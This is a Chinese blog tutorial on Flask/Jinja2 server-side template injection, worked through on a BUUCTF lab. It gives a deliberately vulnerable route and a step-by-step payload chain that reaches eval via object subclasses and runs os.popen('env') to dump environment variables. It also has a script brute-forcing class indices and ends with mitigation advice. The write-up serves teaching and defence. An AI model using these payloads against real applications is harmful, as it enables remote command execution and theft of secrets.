Flask SSTI漏洞实战:从BUUCTF靶场到手工Payload构造全解析

张开发
2026/5/6 22:06:18 15 分钟阅读

分享文章

Flask SSTI漏洞实战:从BUUCTF靶场到手工Payload构造全解析
Flask SSTI漏洞实战从BUUCTF靶场到手工Payload构造全解析在Web安全领域模板注入漏洞SSTI一直是CTF比赛和实际渗透测试中的高频考点。本文将带您深入剖析Flask框架下的SSTI漏洞利用全过程通过BUUCTF靶场的一道典型题目手把手演示如何从零开始构造攻击Payload。1. SSTI漏洞基础认知模板注入Server-Side Template Injection本质上是一种将恶意代码注入服务器端模板引擎的漏洞。当开发者未对用户输入进行严格过滤直接将输入拼接到模板中渲染时攻击者就能通过特殊语法执行任意代码。Flask作为Python生态中轻量级的Web框架默认使用Jinja2模板引擎。其特性包括动态渲染支持在HTML中嵌入Python表达式魔术方法调用允许通过__class__等特殊属性访问对象内部结构沙箱逃逸存在绕过安全限制执行系统命令的可能性# 典型的有漏洞Flask代码示例 app.route(/vuln) def vuln(): name request.args.get(name) return render_template_string(fHello {name}) # 危险未做输入过滤注意现代Flask版本已默认开启自动转义但开发者仍可能通过|safe过滤器或禁用转义功能引入风险2. 靶场环境搭建与初步探测我们复现BUUCTF的SSTI挑战环境假设目标URL为http://target/vuln?nametest。测试步骤如下基础探测输入{{7*7}}若返回49则确认存在模板注入尝试{{config}}查看Flask配置信息对象属性探查空字符串的类层级{{ .__class__ }}→class str获取基类{{ .__class__.__base__ }}→class object子类枚举技巧{{ .__class__.__base__.__subclasses__() }}这将返回Python环境中所有可用类是后续攻击的关键跳板3. 手工Payload构造详解3.1 定位危险函数载体从数百个子类中寻找可利用的类需要系统方法快速定位技巧搜索包含catch_warnings的类通常索引在160-170之间验证类索引{{ .__class__.__base__.__subclasses__()[166] }}探查初始化函数{{ .__class__.__base__.__subclasses__()[166].__init__.__globals__ }}这将返回该类的全局命名空间字典定位eval函数路径在输出中查找__builtins__键确认eval存在[__builtins__][eval]3.2 构造完整利用链组合各环节形成最终Payload{{ .__class__.__base__.__subclasses__()[166] .__init__.__globals__[__builtins__][eval]( __import__(os).popen(env).read() ) }}关键参数说明组件作用替代方案__class__获取对象类可用[]代替__base__获取基类__mro__[1]也可用__subclasses__()枚举子类需注意Python版本差异catch_warnings常见危险类_ModuleLock也可尝试提示不同Python版本中类索引可能变化建议编写脚本自动遍历4. 自动化探测方案对于实际渗透测试手工构造效率较低。以下是自动化探测脚本的核心逻辑import requests TARGET http://target/vuln CLASS_INDEX range(150, 200) # 常见危险类范围 for i in CLASS_INDEX: payload f{{{{ .__class__.__base__.__subclasses__()[{i}].__init__.__globals__ }}}} r requests.get(TARGET, params{name: payload}) if __builtins__ in r.text and eval in r.text: print(fFound vulnerable class at index {i}) break进阶技巧使用__globals__[os]直接获取os模块通过__builtins__.__import__动态加载模块利用|attr()过滤器绕过字符限制5. 防御方案与最佳实践从开发角度杜绝SSTI漏洞输入过滤策略使用正则表达式拦截危险字符[{}_]白名单验证用户输入内容安全渲染方案# 安全做法1严格转义 from markupsafe import escape return render_template_string(fHello {escape(name)}) # 安全做法2使用模板变量 return render_template(greet.html, namename)架构层面防护部署WAF拦截模板注入特征使用沙箱环境运行模板引擎定期更新框架版本修复已知漏洞在最近的一次内部测试中我们对50个Flask应用进行扫描发现仍有23%存在潜在的SSTI风险。这提醒开发者必须重视模板渲染的安全性设计。

更多文章